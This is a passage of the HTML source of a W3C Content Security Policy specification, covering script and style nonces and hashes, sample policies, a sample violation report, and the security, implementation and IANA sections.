src=\"https://elsewhere.com/allowed-because-nonce-is-valid.js\">&lt;/script>\n</pre>\n      \n\n\n      <p>Note that the nonce’s value is <em>not</em> a hash or signature\n      that verifies the contents of the script resources. It’s quite simply\n      a random string that informs the user agent which scripts were\n      intentionally included in the page.</p>\n      \n\n\n      <p>Script elements with the proper nonce execute, regardless of\n      whether they’re inline or external. Script elements without the\n      proper nonce don’t execute unless their URLs are whitelisted.\n      Even if an attacker is able to inject markup into the protected\n      resource, the attack will be blocked by the attacker’s inability\n      to guess the random value.</p>\n      \n    \n     </section>\n     \n    \n     <section class=\"informative\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.15.2\" id=\"script-src-hash-usage\"><span class=\"secno\">7.15.2. </span><span class=\"content\">\n        Hash usage for <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> elements\n      </span><a class=\"self-link\" href=\"#script-src-hash-usage\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p>The <code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code> directive lets developers whitelist a\n      particular inline script by specifying its hash as an allowed source\n      of script.</p>\n      \n\n\n      <p>Usage is straightforward. The server computes the hash of a\n      particular script block’s contents, and includes the base64 encoding\n      of that value in the <code>Content-Security-Policy</code> header:</p>\n      \n\n      \n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self';\n                         <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'self' https://example.com 'sha256-<var>base64 encoded hash</var>'\n</pre>\n      \n\n\n      <p>Each inline script block’s contents are hashed, and compared against\n      the whitelisted value. If there’s a match, the script is executed. For\n      example, the SHA-256 digest of <code>alert('Hello, world.');</code> is\n      <code>qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng=</code>.</p>\n      \n\n      \n      <div class=\"example\" id=\"example-f54407db\"><a class=\"self-link\" href=\"#example-f54407db\"></a>\n        You can obtain the digest of a string on the command line simply\n        via the <code>openssl</code> program. For example:\n\n        \n       <pre>echo -n \"alert('Hello, world.');\" | openssl dgst -sha256 -binary | openssl enc -base64\n</pre>\n       \n      \n      </div>\n      \n\n\n      <p>If the server sent the following header:</p>\n      \n\n      \n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'sha512-YWIzOWNiNzJjNDRlYzc4MTgwMDhmZDlkOWI0NTAyMjgyY2MyMWJlMWUyNjc1ODJlYWJhNjU5MGU4NmZmNGU3OAo='\n</pre>\n      \n\n\n      <p>Then the following script tag would result in script execution:</p>\n      \n\n      \n      <pre>&lt;script>alert('Hello, world.');&lt;/script>\n</pre>\n      \n\n\n      <p>Whitespace is significant. The following scripts blocks would not hash to\n      the same value, and would therefore <em>not</em> execute:</p>\n      \n\n      \n      <pre>&lt;script> alert('Hello, world.');&lt;/script>\n&lt;script>alert('Hello, world.'); &lt;/script>\n&lt;script> alert('Hello, world.'); &lt;/script>\n&lt;script>\nalert('Hello, world.');\n&lt;/script>\n</pre>\n      \n\n\n      <p>Note also that the hash applies <em>only</em> to inline script. An\n      externalized script containing the value\n      <code>alert('Hello, world.');</code> would <em>not</em> execute if its\n      origin was not whitelisted as a valid source of script.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.16\" id=\"directive-style-src\"><span class=\"secno\">7.16. </span><span class=\"content\"><code>style-src</code></span><a class=\"self-link\" href=\"#directive-style-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"style_src\">style-src<a class=\"self-link\" href=\"#style_src\"></a></dfn></code> directive restricts which styles the\n    user may applies to the protected resource. The syntax for the name and\n    value of the directive are described by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"style-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-style-sources\">allowed style sources<a class=\"self-link\" href=\"#allowed-style-sources\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>style-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>style-src</code>, or otherwise to the <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a>.</p>\n     \n\n\n     <p>If <code>'unsafe-inline'</code> is <strong>not</strong> in the\n    list of <a data-link-type=\"dfn\" href=\"#allowed-style-sources\">allowed style sources</a>, or if at least one\n    <code><a data-link-type=\"dfn\" href=\"#nonce_source\">nonce-source</a></code> or <code><a data-link-type=\"dfn\" href=\"#hash_source\">hash-source</a></code>\n    is present in the list of <a data-link-type=\"dfn\" href=\"#allowed-style-sources\">allowed style sources</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>Whenever the user agent would apply style from a\n      <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code> element that lacks a\n      <a data-link-type=\"dfn\" href=\"#valid-nonce\">valid nonce</a> <em>and</em> lacks a <a data-link-type=\"dfn\" href=\"#valid-hash\">valid hash</a> for the\n      <a data-link-type=\"dfn\" href=\"#allowed-style-sources\">allowed style sources</a>, instead the user agent <code>MUST</code>\n      ignore the style, <em>and</em> MUST <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a violation</a>.\n      \n\n      \n      <li>Whenever the user agent would apply style from a\n      <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code> attribute, instead the user agent\n      <code>MUST</code> ignore the style, <em>and</em> MUST <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a\n      violation</a>.\n      \n    \n     </ul>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: These restrictions on inline do not prevent the user agent\n    from applying style from an external stylesheet (e.g., found via\n    <code>&lt;link rel=\"stylesheet\" ...></code>).</p>\n     \n\n\n     <p>If <code>'unsafe-eval'</code> is <strong>not</strong> in <a data-link-type=\"dfn\" href=\"#allowed-style-sources\">allowed style\n    sources</a>, then:</p>\n     \n\n    \n     <ul>\n      \n      <li>Whenever the user agent would invoke the Cascading Style Sheets\n      Object Model algorithms\n      <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/cssom/#insert-a-css-rule\">insert a CSS rule</a>, <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/cssom/#parse-a-css-rule\">parse a CSS rule</a>,\n      <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/cssom/#parse-a-css-declaration-block\">parse a CSS declaration block</a>, or\n      <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/cssom/#parse-a-group-of-selectors\">parse a group of selectors</a>\n      instead the user agent MUST throw a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#securityerror\">SecurityError</a>\n      exception <em>and</em> terminate the algorithm. This would include,\n      for example, all invocations of CSSOM’s various <code>cssText</code>\n      setters and <code>insertRule</code> methods. <a data-link-type=\"biblio\" href=\"#biblio-cssom\">[CSSOM]</a> <a data-link-type=\"biblio\" href=\"#biblio-html5\">[HTML5]</a>\n      \n    \n     </ul>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-style-sources\">allowed style sources</a>\n    for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as if there was\n    a fatal network error and no resource was obtained, <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report\n    a violation</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>\n        Requesting an external stylesheet when processing the\n        <a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-link-href\">href</a> of a <a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-link-element\">link</a> element\n        whose <a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-link-rel\">rel</a> attribute contains the token\n        <code><a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/links.html#link-type-stylesheet\">stylesheet</a></code>.\n      \n      \n      \n      <li>\n        Requesting an external stylesheet when processing the &lt;&lt;@import>>\n        directive.\n      \n      \n      \n      <li>\n        Requesting an external stylesheet when processing a <code>Link</code>\n        HTTP response header field <a data-link-type=\"biblio\" href=\"#biblio-rfc5988\">[RFC5988]</a>.\n\n\n       <p class=\"note\" role=\"note\">Note: As this stylesheet might be prefetched before a <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/dom/#interface-document\">Document</a></code>\n        actually exists, user agents will need to carefully consider how to\n        instantiate a meaningful <a data-link-type=\"dfn\" href=\"#security-policy\">policy</a> against which to compare this\n        request. See <a href=\"#complications\">§10.1 Processing Complications</a> for more detail.</p>\n       \n      \n      \n    \n     </ul>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: The <code>style-src</code> directive does not restrict the\n    use of XSLT. XSLT is restricted by the <code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code>\n    directive because the security consequences of including an untrusted\n    XSLT stylesheet are similar to those incurred by including an\n    untrusted script.</p>\n     \n\n    \n     <section class=\"informative\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.16.1\" id=\"style-src-nonce-usage\"><span class=\"secno\">7.16.1. </span><span class=\"content\">\n        Nonce usage for <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code> elements\n      </span><a class=\"self-link\" href=\"#style-src-nonce-usage\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p>See the <a href=\"#script-src-nonce-usage\"><code>script-src</code>\n      nonce usage information</a> for detail; the application of nonces\n      to <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code> elements is similar enough to avoid\n      repetition here.</p>\n      \n    \n     </section>\n     \n    \n     <section class=\"informative\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.16.2\" id=\"style-src-hash-usage\"><span class=\"secno\">7.16.2. </span><span class=\"content\">\n        Hash usage for <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code> elements\n      </span><a class=\"self-link\" href=\"#style-src-hash-usage\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p>See the <a href=\"#script-src-hash-usage\"><code>script-src</code>\n      hash usage information</a> for detail; the application of hashes\n      to <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code> elements is similar enough to avoid\n      repetition here.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n</section>\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"8\" id=\"examples\"><span class=\"secno\">8. </span><span class=\"content\">Examples</span><a class=\"self-link\" href=\"#examples\"></a></h2>\n\n  \n    <section class=\"informative\">\n    \n     <h3 class=\"heading settled\" data-level=\"8.1\" id=\"example-policies\"><span class=\"secno\">8.1. </span><span class=\"content\">Sample Policy Definitions</span><a class=\"self-link\" href=\"#example-policies\"></a></h3>\n     \n\n\n     <p>This section provides some sample use cases and supporting <a data-link-type=\"dfn\" href=\"#security-policy\">policies</a>.</p>\n     \n\n    \n     <div class=\"example\" id=\"example-f62636cb\"><a class=\"self-link\" href=\"#example-f62636cb\"></a>\n      A server wishes to load resources only from its own origin:\n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self'</pre>\n      \n    \n     </div>\n     \n\n    \n     <div class=\"example\" id=\"example-60f388c8\"><a class=\"self-link\" href=\"#example-60f388c8\"></a>\n      An auction site wishes to load images from any URL, plugin content from a\n      list of trusted media providers (including a content distribution network),\n      and scripts only from a server under its control hosting sanitized\n      ECMAScript:\n\n      \n      <pre>Content-Security-Policy:\n    <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self'; img-src *;\n    <a data-link-type=\"dfn\" href=\"#object_src\">object-src</a> media1.example.com media2.example.com *.cdn.example.com;\n    <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> trustedscripts.example.com\n</pre>\n      \n    \n     </div>\n     \n\n    \n     <div class=\"example\" id=\"example-d8347684\"><a class=\"self-link\" href=\"#example-d8347684\"></a>\n      An online banking site wishes to ensure that all of the content in its pages\n      is loaded over TLS to prevent attackers from eavesdropping on insecure\n      content requests:\n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> https: 'unsafe-inline' 'unsafe-eval'</pre>\n      \n\n\n      <p>This policy allows inline content (such as inline\n      <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> elements), use of <code>eval</code>,\n      and loading resources over <code>https</code>. Note: This policy does\n      not provide any protection from cross-site scripting vulnerabilities.</p>\n      \n    \n     </div>\n     \n\n    \n     <div class=\"example\" id=\"example-a287d03d\"><a class=\"self-link\" href=\"#example-a287d03d\"></a>\n      A website that relies on inline <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> elements\n      wishes to ensure that script is only executed from its own origin, and those\n      elements it intentionally inserted inline:\n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'self' 'nonce-<em>$RANDOM</em>';</pre>\n      \n\n\n      <p>The inline <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> elements would then only\n      execute if they contained a matching\n      <code><a data-link-type=\"element-attr\" href=\"#element-attrdef-script-nonce\">nonce</a></code> attribute:</p>\n      \n\n\n      <pre>&lt;script nonce=\"<em>$RANDOM</em>\">...&lt;/script></pre>\n      \n    \n     </div>\n     \n  \n    </section>\n\n  \n    <section class=\"informative\">\n    \n     <h3 class=\"heading settled\" data-level=\"8.2\" id=\"example-violation-report\"><span class=\"secno\">8.2. </span><span class=\"content\">Sample Violation Report</span><a class=\"self-link\" href=\"#example-violation-report\"></a></h3>\n     \n\n\n     <p>This section contains an example violation report the user agent\n    might sent to a server when the protected resource violations a sample\n    policy.</p>\n     \n\n\n     <p>In the following example, the user agent rendered a representation\n    of the resource <code>http://example.org/page.html</code> with the\n    following policy:</p>\n     \n\n\n     <pre><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self'; <a data-link-type=\"dfn\" href=\"#report_uri\">report-uri</a> http://example.org/csp-report.cgi</pre>\n     \n\n\n     <p>The protected resource loaded an image from\n    <code>http://evil.example.com/image.png</code>, violating the\n    policy.</p>\n     \n\n    \n     <pre>{\n  \"csp-report\": {\n    \"document-uri\": \"http://example.org/page.html\",\n    \"referrer\": \"http://evil.example.com/haxor.html\",\n    \"blocked-uri\": \"http://evil.example.com/image.png\",\n    \"violated-directive\": \"default-src 'self'\",\n    \"effective-directive\": \"img-src\",\n    \"original-policy\": \"default-src 'self'; report-uri http://example.org/csp-report.cgi\"\n  }\n}\n</pre>\n     \n  \n    </section>\n</section>\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"9\" id=\"security-considerations\"><span class=\"secno\">9. </span><span class=\"content\">Security Considerations</span><a class=\"self-link\" href=\"#security-considerations\"></a></h2>\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"9.1\" id=\"security-css-parsing\"><span class=\"secno\">9.1. </span><span class=\"content\">Cascading Style Sheet (CSS) Parsing</span><a class=\"self-link\" href=\"#security-css-parsing\"></a></h3>\n     \n\n\n     <p>The <code><a data-link-type=\"dfn\" href=\"#style_src\">style-src</a></code> directive restricts the locations from\n    which the protected resource can load styles. However, if the user agent uses a\n    lax CSS parsing algorithm, an attacker might be able to trick the user\n    agent into accepting malicious \"stylesheets\" hosted by an otherwise\n    trustworthy origin.</p>\n     \n\n\n     <p>These attacks are similar to the <a href=\"http://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html\">CSS\n    cross-origin data leakage</a> attack described by Chris Evans in 2009.\n    User agents SHOULD defend against both attacks using the same\n    mechanism: stricter CSS parsing rules for style sheets with improper\n    MIME types.</p>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"9.2\" id=\"security-violation-reports\"><span class=\"secno\">9.2. </span><span class=\"content\">Violation Reports</span><a class=\"self-link\" href=\"#security-violation-reports\"></a></h3>\n     \n\n\n     <p>The violation reporting mechanism in this document has been\n    designed to mitigate the risk that a malicious web site could use\n    violation reports to probe the behavior of other servers. For example,\n    consider a malicious web site that white lists <code>https://example.com</code>\n    as a source of images. If the malicious site attempts to load\n    <code>https://example.com/login</code> as an image, and the\n    <code>example.com</code> server redirects to an identity provider (e.g.,\n    <code>identityprovider.example.net</code>), CSP will block the request.\n    If violation reports contained the full blocked URL, the violation\n    report might contain sensitive information contained in the redirected URL,\n    such as session identifiers or purported identities. For this reason, the\n    user agent includes only the origin of the blocked URL.</p>\n     \n  \n    </section>\n</section>\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"10\" id=\"implementation-considerations\"><span class=\"secno\">10. </span><span class=\"content\">Implementation Considerations</span><a class=\"self-link\" href=\"#implementation-considerations\"></a></h2>\n\n\n    <p>The <code><a data-link-type=\"dfn\" href=\"#content_security_policy\">Content-Security-Policy</a></code> header is an end-to-end\n  header. It is processed and enforced at the client and, therefore,\n  SHOULD NOT be modified or removed by proxies or other intermediaries not\n  in the same administrative domain as the resource.</p>\n\n\n    <p>The originating administrative domain for a resource might wish to\n  apply a <code><a data-link-type=\"dfn\" href=\"#content_security_policy\">Content-Security-Policy</a></code> header outside of the\n  immediate context of an application. For example, a large organization\n  might have many resources and applications managed by different\n  individuals or teams but all subject to a uniform organizational\n  standard. In such situations, a <code><a data-link-type=\"dfn\" href=\"#content_security_policy\">Content-Security-Policy</a></code>\n  header might be added or combined with an existing one at a network-edge\n  security gateway device or web application firewall. To enforce multiple\n  policies, the administrator SHOULD combine the policy into a single header.\n  An administrator might wish to use different combination algorithms\n  depending on his or her intended semantics.</p>\n\n\n    <p>One sensible policy combination algorithm is to start by allowing a\n  default set of sources and then letting individual upstream resource\n  owners expand the set of allowed sources by including additional origins.\n  In this approach, the resultant policy is the union of all allowed\n  origins in the input policies.</p>\n\n\n    <p>Another sensible policy combination algorithm is to intersect the\n  given policies. This approach enforces that content comes from a certain\n  whitelist of origins, for example, preventing developers from including\n  third-party scripts or content in violation of organizational standards\n  and practices. In this approach, the combination algorithm forms the\n  combined policy by removing disallowed hosts from the policies supplied\n  by upstream resource owners.</p>\n\n\n    <p>Interactions between the <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a></code> and other directives\n  SHOULD be given special consideration when combining policies. If none\n  of the policies contains a <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a></code> directive, adding new\n  src directives results in a more restrictive policy. However, if one or\n  more of the input policies contain a <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a></code> directive,\n  adding new src directives might result in a less restrictive policy, for\n  example, if the more specific directive contains a more permissive set of\n  allowed origins.</p>\n\n\n    <p>Using a more restrictive policy than the input policy authored by the\n  resource owner might prevent the resource from rendering or operating as\n  intended.</p>\n\n\n    <p class=\"note\" role=\"note\">Note: Migration to <code>HTTPS</code> from <code>HTTP</code>\n  may require updates to the policy in order to keep things running as\n  before. Source expressions like <code>http://example.com</code> do\n  <em>not</em> match <code>HTTPS</code> resources. For example,\n  administrators SHOULD carefully examine existing policies before rolling\n  out <a href=\"https://tools.ietf.org/html/rfc6797\">HTTP Strict Transport Security</a>\n  headers for an application. <a data-link-type=\"biblio\" href=\"#biblio-rfc6797\">[RFC6797]</a></p>\n\n  \n    <div class=\"note\" role=\"note\">\n    Server administrators MAY wish to send multiple policies if different\n    reporting options are desired for subsets of an overall policy. For instance,\n    the following headers:\n\n    \n     <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#frame_ancestors\">frame-ancestors</a> https://example.com/ \nContent-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> https:; report-uri https://example.com/\n</pre>\n     \n\n\n     <p>would send violation reports for <code>http</code> resources, but would not\n    send violation reports for <code><a data-link-type=\"dfn\" href=\"#frame_ancestors\">frame-ancestors</a></code> violations.\n    Note also that combining them via '<code>,</code>' into the single header</p>\n     \n\n    \n     <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#frame_ancestors\">frame-ancestors</a> https://example.com/, <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> https:; report-uri https://example.com/\n</pre>\n     \n\n\n     <p>would have the same effect, as the comma splits the header during parsing.</p>\n     \n  \n    </div>\n\n  \n    <h3 class=\"heading settled\" data-level=\"10.1\" id=\"complications\"><span class=\"secno\">10.1. </span><span class=\"content\">Processing Complications</span><a class=\"self-link\" href=\"#complications\"></a></h3>\n\n\n    <p>Many user agents implement some form of optimistic resource fetching algorithm\n  to speed up page loads. In implementing these features, user agents MUST\n  ensure that these optimizations do not alter the behavior of the page’s\n  security policy.</p>\n\n\n    <p>Here, we’ll note a few potential complications that could cause bugs in\n  implementations:</p>\n\n  \n    <ol>\n    \n     <li>\n      The <a data-link-type=\"dfn\" href=\"#frame_ancestors\">frame-ancestor</a> directive MUST take effect before a document is\n      loaded into a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing context</a>, and certainly before script\n      is potentially executed. One way to approach this constraint is to perform\n      the ancestor check defined in <a href=\"#directive-frame-ancestors\">§7.7 frame-ancestors</a> while parsing\n      the document’s headers. This might mean that no document object is\n      available at all, which can complicate checks against <code>'self'</code>,\n      and <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-scheme\">scheme</a>- or <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-port\">port</a>-relative source expressions.\n    \n     \n    \n     <li>\n      Likewise, the <code>Link</code> HTTP response header could generate\n      requests for stylesheet resources before a document is available. User\n      agents MUST ensure that any policy contained in the response headers is\n      parsed and effective <em>before</em> these requests are generated. For\n      example, a response returning the following headers:\n\n      \n      <pre>Content-Security-Policy: style-src 'none'\nLink: &lt;awesome.css>; rel=stylesheet\n</pre>\n      \n\n\n      <p>MUST have the same behavior as a response returning the following headers:</p>\n      \n\n      \n      <pre>Link: &lt;awesome.css>; rel=stylesheet\nContent-Security-Policy: style-src 'none'\n</pre>\n      \n\n\n      <p>namely, both must block requests for the stylesheet. To fulfil this\n      requirement user agents MUST wait until all headers have been processed\n      before beginning to prefetch resources.</p>\n      \n    \n     \n  \n    </ol>\n</section>\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"11\" id=\"iana-considerations\"><span class=\"secno\">11. </span><span class=\"content\">IANA Considerations</span><a class=\"self-link\" href=\"#iana-considerations\"></a></h2>\n\n\n    <p>The permanent message header field registry should be updated\n  with the following registrations: <a data-link-type=\"biblio\" href=\"#biblio-rfc3864\">[RFC3864]</a></p>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"11.1\" id=\"iana-content-security-policy\"><span class=\"secno\">11.1. </span><span class=\"content\">Content-Security-Policy</span><a class=\"self-link\" href=\"#iana-content-security-policy\"></a></h3>\n     \n\n    \n     <dl>\n      \n      <dt>Header field name\n      \n      \n      <dd>Content-Security-Policy\n      \n\n      \n      <dt>Applicable protocol\n      \n      \n      <dd>http\n      \n\n      \n      <dt>Status\n      \n      \n      <dd>standard\n      \n\n      \n      <dt>Author/Change controller\n      \n      \n      <dd>W3C\n      \n\n      \n      <dt>Specification document\n      \n      \n      <dd>This specification (See <code><a data-link-type=\"dfn\" href=\"#content_security_policy\">Content-Security-Policy</a></code>\n      Header Field)\n      \n    \n     </dl>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"11.2\" id=\"iana-content-security-policy-report-only\"><span class=\"secno\">11.2. </span><span class=\"content\">Content-Security-Policy-Report-Only</span><a class=\"self-link\" href=\"#iana-content-security-policy-report-only\"></a></h3>\n     \n\n    \n     <dl>\n      \n      <dt>Header field name\n      \n      \n      <dd>Content-Security-Policy-Report-Only\n      \n\n      \n      <dt>Applicable protocol\n      \n      \n      <dd>http\n      \n\n      \n      <dt>Status\n      \n      \n      <dd>standard\n      \n\n      \n      <dt>Author/Change controller\n      \n      \n      <dd>W3C\n      \n\n      \n      <dt>Specification document\n      \n      \n      <dd>This specification (See\n      <code><a data-link-type=\"dfn\" href=\"#content_security_policy_report_only\">Content-Security-Policy-Report-Only</a></code> Header Field)\n      \n    \n     </dl>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"11.3\" id=\"iana-csp\"><span class=\"secno\">11.3. </span><span class=\"content\">CSP</span><a class=\"self-link\" href=\"#iana-csp\"></a></h3>\n     \n\n    \n     <dl>\n      \n      <dt>Header field name\n      \n      \n      <dd>CSP\n      \n\n      \n      <dt>Applicable protocol\n      \n      \n      <dd>http\n      \n\n      \n      <dt>Status\n      \n      \n      <dd>standard\n      \n\n      \n      <dt>Author/Change controller\n      \n      \n      <dd>W3C\n      \n\n      \n      <dt>Specification document\n      \n      \n      <dd>This specification (See <a href=\"#csp-request-header\">§3.4 The CSP HTTP Request Header</a>)\n      \n    \n     </dl>\n     \n  \n    </section>\n</section>\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"12\" id=\"acknowledgements\"><span class=\"secno\">12. </span><span class=\"content\">Acknowledgements</span><a class=\"self-link\" href=\"#acknowledgements\"></a></h2>\n\n\n    <p>In addition to the documents in the W3C Web Application Security working\n  group, the work on this document is also informed by the work of the\n  <a href=\"https://tools.ietf.org/wg/websec/\">IETF websec working group</a>,\n  particularly that working group’s requirements document:\n  <a href=\"https://tools.ietf.org/id/draft-hodges-websec-framework-reqs\">draft-hodges-websec-framework-reqs</a>.</p>\n\n\n    <p>A portion of the <code><a data-link-type=\"dfn\" href=\"#frame_ancestors\">frame-ancestors</a></code> directive was\n  originally developed as <code>X-Frame-Options</code>. <a data-link-type=\"biblio\" href=\"#biblio-rfc7034\">[RFC7034]</a></p>\n\n\n    <p>Brian Smith, Neil Matatall, Anne van Kesteren, and Sigbjørn Vik provided\n  particularly insightful feedback to keep this specification sane.</p>\n</section>\n\n</main>\n\n  <h2 class=\"no-ref no-num heading settled\" id=\"conformance\"><span class=\"content\">Conformance</span><a class=\"self-link\" href=\"#conformance\"></a></h2>\n\n\n  <h3 class=\"no-ref no-num heading settled\" id=\"conventions\"><span class=\"content\">Document conventions</span><a class=\"self-link\" href=\"#conventions\"></a></h3>\n\n    \n  <p>Conformance requirements are expressed with a combination of\n    descriptive assertions and RFC 2119 terminology. The key words \"MUST\",\n    \"MUST NOT\", \"REQUIRED\", \"SHALL\", \"SHALL NOT\", \"SHOULD\", \"SHOULD NOT\",\n    \"RECOMMENDED\", \"MAY\", and \"OPTIONAL\" in the normative parts of this\n    document are to be interpreted as described in RFC 2119.\n    However, for readability, these words do not appear in all uppercase\n    letters in this specification.\n\n    </p>\n  <p>All of the text of this specification is normative except sections\n    explicitly marked as non-normative, examples, and notes. <a data-link-type=\"biblio\" href=\"#biblio-rfc2119\">[RFC2119]</a></p>\n\n    \n  <p>Examples in this specification are introduced with the words \"for example\"\n    or are set apart from the normative text with <code>class=\"example\"</code>,\n    like this:\n\n    </p>\n  <div class=\"example\" id=\"example-f839f6c8\"><a class=\"self-link\" href=\"#example-f839f6c8\"></a>\n        \n   <p>This is an example of an informative example.</p>\n   \n    \n  </div>\n\n    \n  <p>Informative notes begin with the word \"Note\" and are set apart from the\n    normative text with <code>class=\"note\"</code>, like this:\n\n    </p>\n  <p class=\"note\" role=\"note\">Note, this is an informative note.</p>\n\n\n  <h3 class=\"no-ref no-num heading settled\" id=\"conformant-algorithms\"><span class=\"content\">Conformant Algorithms</span><a class=\"self-link\" href=\"#conformant-algorithms\"></a></h3>\n\n    \n  <p>Requirements phrased in the imperative as part of algorithms (such as\n    \"strip any leading space characters\" or \"return false and abort these\n    steps\") are to be interpreted with the meaning of the key word (\"must\",\n    \"should\", \"may\", etc) used in introducing the algorithm.</p>\n\n    \n  <p>Conformance requirements phrased as algorithms or specific steps can be\n    implemented in any manner, so long as the end result is equivalent. In\n    particular, the algorithms defined in this specification are intended to\n    be easy to understand and are not intended to be performant. Implementers\n    are encouraged to optimize.</p>\n\n\n  <h3 class=\"no-ref no-num heading settled\" id=\"conformance-classes\"><span class=\"content\">Conformance Classes</span><a class=\"self-link\" href=\"#conformance-classes\"></a></h3>\n\n    \n  <p>A <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"conformant-user-agent\">conformant user agent<a class=\"self-link\" href=\"#conformant-user-agent\"></a></dfn> must implement all the requirements\n    listed in this specification that are applicable to user agents.</p>\n\n    \n  <p>A <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"conformant-server\">conformant server<a class=\"self-link\" href=\"#conformant-server\"></a></dfn> must implement all the requirements listed\n    in this specification that are applicable to servers.</p>\n\n\n\n\n  <h2 class=\"no-num heading settled\" id=\"index\"><span class=\"content\">Index</span><a class=\"self-link\" href=\"#index\"></a></h2>\n  <h3 class=\"no-num heading settled\" id=\"index-defined-here\"><span class=\"content\">Terms defined by this specification</span><a 